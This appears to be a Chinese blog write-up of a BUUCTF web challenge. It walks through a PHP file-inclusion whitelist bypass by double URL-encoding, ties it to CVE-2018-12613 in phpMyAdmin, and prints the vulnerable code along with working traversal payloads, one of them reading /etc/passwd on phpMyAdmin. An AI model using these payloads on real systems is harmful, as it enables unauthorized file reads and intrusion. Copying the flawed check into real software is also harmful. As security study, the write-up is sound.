一段遇到多次的代码 Fay·D·Flourite

一段遇到多次的代码


buuctf web方面的第一题,是这样一段代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

做的时候就感觉莫名的眼熟,想了想好像之前做题也遇到过,在二面的时候给的cms中也出现过,就记录一下,或许这就是现cms中经常出现的一个漏洞呢~

P.S.(后来经搜索发现确实是CVE漏洞,编号为CVE-2018-12613)

这里把二面的代码也给贴出来

<?php
include './library/inc.php';

if (get_channel($id, 'id') === false) {
  alert_href($_lang['illegal'], './');
}
setUrlBack();

$c_main = $channel['c_main'];
// 获取相关信息
$channel_slist = channel_slist($channel['c_ifsub'] == 1 ? $channel['id'] : $channel['c_parent'], $channel['id']);
$current_channel_location = current_channel_location($channel['id'], $channel['id']);

// 获取上级信息
$channel_parent = $objChannel->getParent($channel['id']);
$channel_main = $objChannel->getMain($channel['id']);

// 获取子集列表
$channel_sub = $objChannel->getSon($channel['id']);

// 分页&列表
if (strpos($channel['c_cmodel'], '_list')) {
  include LIB_PATH . 'cls.page.php';
  $pager = new Page($channel['c_page']);
  $pager->handle($db->getOne("SELECT COUNT(id) FROM detail WHERE d_parent IN (" . $channel['c_sub'] . ")"));
  $list_pager = $db->getAll("SELECT * FROM detail WHERE d_parent IN (" . $channel['c_sub'] . ") ORDER BY d_order ASC,id DESC LIMIT " . $pager->page_start . "," . $pager->page_size);
}

include $t_path . $channel['c_cmodel'];

// 释放资源
unset($objChannel);
unset($channel);
unset($c_main);
unset($channel_slist);
unset($current_channel_location);
unset($channel_parent);

function checkFile(&$page)
{
  $whitelist = array("more"=>"more.php");
  if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
    }
 
  if (in_array($page, $whitelist)) {
    return true;
  }
 
  $_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
  );
  if (in_array($_page, $whitelist)) {
    return true;
  }
  $_page = urldecode($page);
  $_page = mb_substr(
  $_page,
  0,
      mb_strpos($_page . '?', '?')
  );
  if (in_array($_page, $whitelist)) {
      return true;
  }
  echo "you can't see it";
  return false;
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && checkFile($_REQUEST['file'])
) {
    include $_REQUEST['file'];
    exit;
} 

自己博客不嫌字多,看该文件中定义的checkFile,几乎和上面那道题类似,都设置了读取白名单,进行了多个if的检验,并在检验返回true后去包含那个文件。

这里注意他的检验方法,先在参数后面加上一个?,再去截断第一个?前的内容进行白名单的比较;我们很容易想到构造

source.php?file=source.php?/../../../../../ffffllllaaaagggg

但其实这个payload是不行的(不知道为什么这个payload在那道题里适用…理论上来说是行不通的),因为它无法去读取到后面那个文件。这时候我们继续看if验证还有个先url解码,再加上一个?,再去对比第一个?前的内容进行白名单比较(为了防止后面还有传参),于是我们得到payload:

source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

他会只截取到source.php拿去进行白名单比较。而后面去读取flag的时候涉及到一个文件包含中的问题,即如果前一个文件不存在的话。他会忽视前一个文件。例子如下,大家可以试一下: 这是用于包含的文件

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

然后再去用类似payload包含文件

http://localhost/baohan.php?filename=12.txt%253f/../cookie.txt
http://localhost/baohan.php?filename=12/../cookie.txt
http://localhost/baohan.php?filename=12.txtfdaohuithroh/../cookie.txt

%253f是?的二次编码

从上面的例子可以看到,这三个payload读取的都是cookie.txt这个文件,因为前面的12.txt%253f,12,12.txtfdaohuithroh并不存在,于是就被忽略掉了。 而这里我们为了通过验证 这时他包含的会是后一个文件,因为它将前一个文件视为了目录。 再说编码的问题,两次url编码,会在url传过去时一次解码。并在urldecode那里解码为?,就完成了隔断。然后就通过了验证,返回了true,去包含了我们想要的那个文件。

学到的东西,对那两个函数mb_substr,mb_strpos,有了更深的印象,了解到了上文提到的文件包含所包含的文件名的那个机制。还有../../../../../../这种遍历目录的方法。主要就这些。

P.S.(就像我上面补充的,这是个CVE,所以说下结合的方法,个人觉得还是应该配合的文件上传传上去的马进行利用。)

CVE-2018-12613 影响phpMyAdmin 4.8.0和4.8.1

payload:/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd